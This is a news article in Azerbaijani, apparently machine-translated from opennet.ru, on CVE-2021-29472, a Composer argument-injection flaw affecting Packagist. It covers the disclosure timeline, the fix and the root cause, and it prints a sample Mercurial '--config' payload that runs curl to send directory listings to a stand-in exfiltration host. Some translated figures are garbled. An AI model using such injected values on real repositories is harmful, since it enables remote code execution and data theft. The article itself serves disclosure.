Packagist PHP repozitoriyasının pozulmasına imkan verən Composer paket menecerində zəiflik

Bəstəkardan asılılıq menecerində mənbə kodunu endirmək üçün ünvanı müəyyən edən xüsusi formatlaşdırılmış URL dəyəri olan paketi emal edərkən sistemdə ixtiyari əmrlərin icrasına imkan verən kritik zəiflik (CVE-2021-29472) müəyyən edilib. Problem Git, Subversion və Mercurial mənbə idarəetmə sistemlərindən istifadə edərkən istifadə olunan GitDriver, SvnDriver və HgDriver komponentlərində baş verir. Zəiflik Bəstəkarın 1.10.22 və 2.0.13 buraxılışlarında həll edilib.

Xüsusilə qeyd olunur ki, problem ilk növbədə Composer-in PHP tərtibatçıları üçün 306 1.4 paketi ehtiva edən və ayda XNUMX milyarddan çox yükləməyə xidmət edən Packagist-in defolt paket anbarına təsir edib. Təcrübə göstərdi ki, problem barədə məlumat varsa, təcavüzkarlar Packagist infrastrukturuna nəzarəti ələ keçirə və baxıcıların etimadnaməsini ələ keçirə və ya paketin endirilməsini üçüncü tərəf serverinə yönləndirə, arxa qapını əvəz etmək üçün zərərli dəyişikliklərlə paket variantlarının çatdırılmasını təşkil edə bilərdilər. asılılığın quraşdırılması prosesi zamanı.

Son istifadəçilər üçün təhlükə, composer.json məzmununun adətən istifadəçi tərəfindən müəyyən edilməsi və mənbə bağlantılarının adətən etibarlı olan üçüncü tərəf repozitoriyalarına daxil olduqda ötürülməsi ilə məhdudlaşır. Əsas zərbə istifadəçilərdən alınan məlumatların ötürülməsi ilə Composer çağıran Packagist.org repozitoriyasına və Private Packagist xidmətinə dəydi. Təcavüzkarlar xüsusi hazırlanmış paket yerləşdirməklə öz kodlarını Packagist serverlərində icra edə bilərdilər.

Packagist komandası zəiflik barədə məlumat verildikdən sonra 12 saat ərzində zəifliyi aradan qaldırıb. Tədqiqatçılar aprelin 22-də Packagist tərtibatçılarını özəl olaraq xəbərdar etdilər və problem elə həmin gün aradan qaldırıldı. Zəifliyə toxunan Composer-a ictimai yeniləmə aprelin 27-də dərc edilib və təfərrüatlar aprelin 28-də açıqlanıb. Packagist serverlərində qeydlərin auditi zəifliklə bağlı hər hansı şübhəli fəaliyyət aşkar etməyib.

Problem kök composer.json faylında və mənbə endirmə keçidlərindəki URL doğrulama kodundakı səhvdən qaynaqlanır. Səhv kodda 2011-ci ilin noyabr ayından bəri mövcuddur. Packagist xüsusi mənbə idarəetmə sisteminə bağlanmadan kodun yüklənməsini təşkil etmək üçün xüsusi təbəqələrdən istifadə edir ki, bunlar “fromShellCommandline” çağırılaraq və komanda xətti arqumentlərini ötürməklə həyata keçirilir. Məsələn, git üçün "git ls-remote -heads $URL" əmri çağırılır, burada URL "$(. ..)" və ya "` ...`".

Problemin əsası ondan ibarətdir ki, ProcessExecutor::escape metodu URL-də istənilən əlavə zəng parametrinin göstərilməsinə imkan verən “—” ardıcıllığından qaçmadı. Belə qaçış GitDriver.php, SvnDriver.php və HgDriver.php sürücülərində yox idi. GitDriver.php hücumuna “git ls-remote” əmrinin yoldan sonra əlavə arqumentlərin göstərilməsini dəstəkləməməsi mane oldu. HgDriver.php-ə hücum “--config” parametrini “hq” yardım proqramına ötürməklə mümkün olub ki, bu da “alias.identify” parametrini manipulyasiya etməklə istənilən əmrin icrasını təşkil etməyə imkan verir. Məsələn, curl yardım proqramını işə salmaqla kodu yükləmək və icra etmək üçün aşağıdakıları təyin edə bilərsiniz: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Tədqiqatçılar oxşar URL ilə sınaq paketini Packagist-ə yerləşdirməklə təsdiq etdilər ki, yerləşdirdikdən sonra onların serveri AWS-dəki Packagist serverlərindən birindən cari kataloqda faylların siyahısını ehtiva edən HTTP sorğusu alıb.

Mənbə: opennet.ru

Добавить комментарий